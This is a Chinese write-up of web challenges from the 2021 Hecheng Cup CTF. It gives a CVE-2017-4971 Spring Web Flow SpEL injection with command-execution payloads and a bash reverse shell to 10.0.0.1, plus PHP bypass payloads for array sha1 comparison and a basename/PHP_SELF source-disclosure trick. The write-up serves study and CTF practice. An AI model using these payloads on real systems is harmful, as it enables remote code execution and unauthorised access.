2021CTF鹤城杯挑战赛WEB-wp

前言

web题总共5道,两道sql注入,两道代码审计,一道考CVE利用。这次比赛环境结束就关闭了,导致有些题目无法复现出来。

比赛复现

web-easy_sql 1

未找到复现环境

web-easy_sql 2

未找到复现环境

题目相关的解题wp

https://threezh1.com/2020/12/06/Mysql8%E6%96%B0%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87SELECT%E8%BF%87%E6%BB%A4/

https://anthem-whisper.github.io/p/roarctf-2020/

web-Spring

考点

CVE-2017-4971 利用

复现过程

复现过程

别的师傅已经复现过,再次一步步写没有多大意义,这里就贴几个关键的payload和关键点截图。

验证漏洞

1
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

![image-20211009113612191](F:\D-学习笔记\CTF WP\image-20211009113612191.png)

执行命令

1
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
1
&_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test

好像没有效果。

反弹shell

1
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

比赛就是用的上面的payload,能够执行,这里环境限制,不能截图。

注意点:比赛过程中,我抓包放到Repeater 中改数据再发送,没有执行成功,经过大师傅指点,直接抓包,修改数据,Forward,成功。好像是因为cstoken的原因。

web-middle-magic

比赛源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
# aaa的值长度不能大于20
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
echo $aaa;
# $aaa 要有字符串 pass_the_level_1#
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
# admin root_pwd 要定义
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
# admin root_pwd 不能等于 ==
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
// admin root_pwd 要全等于
// 数组绕过?
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";

if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
// {"result": 0}
if ($level_3->result == $result) {

echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{

die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}

}

else{
echo 'nonono!';
}

echo '<hr>';
}

?>

这道题考的都是基本知识点的组合,直接贴payload

1
2
?aaa=%0apass_the_level_1%23
admin[0]=a&root_pwd[1]=b&level_3={"result": 0}

web-easycho

本地复现:test6.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
# url编码绕过
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

这道题,以前做过一次,这道题在原题的基础上多了个匹配show_source的正则。这个正则只需要url编码即可绕过。

payload

1
test6.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65

关键点详细解释

$_SERVER[‘PHP_SELF’] 作用是取当前执行脚本的文件名

像这样

来源http://www.iwonder.run/blog/post/during/3691566f7f15

1
2
3
4
http://www.5idev.com/php/ :/php/index.php
http://www.5idev.com/php/index.php :/php/index.php
http://www.5idev.com/php/index.php?test=foo :/php/index.php
http://www.5idev.com/php/index.php/test/foo :/php/index.php/test/foo

$_SERVER[‘REQUEST_URI’] 作用URI 用来指定要访问的页面

1
http://localhost:9999/test6.php/utils.php?source => /test6.php/utils.php?source

basename 返回路径中的文件名部分

官方例子

1
2
3
4
5
6
7
8
<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>
1
2
3
4
5
6
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)

会输出路径末尾的文件名。

官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$path='/test/äaä.txt';
echo $path."\n";
setlocale(LC_ALL,'C');
echo dirname($path).'/'.basename($path)."\n";

setlocale(LC_ALL,'en_US.iso885915'); // bash: 语言环境 -a
echo dirname($path).'/'.basename($path)."\n";


预期结果:
----------------
/test/äaä.txt
/test/äaä.txt
/test/äaä.txt

实际结果:
--------------
/test/äaä.txt
/test/aä.txt
/test/äaä.txt

这个函数有个小bug,就是遇到非ascii码字符会被丢弃。这就是解题的关键点。所以,我们通过在index.php/utils.php/后面添加一个非ascii码的字符串,这样做可以绕过正则,当执行到basename函数的时候,这个非ascii字符就会被丢弃,就会成功执行utils.php/

所以构造payload

1
test6.php/utils.php/%8e?%73%68%6f%77%5f%73%6f%75%72%63%65

image-20211009105105701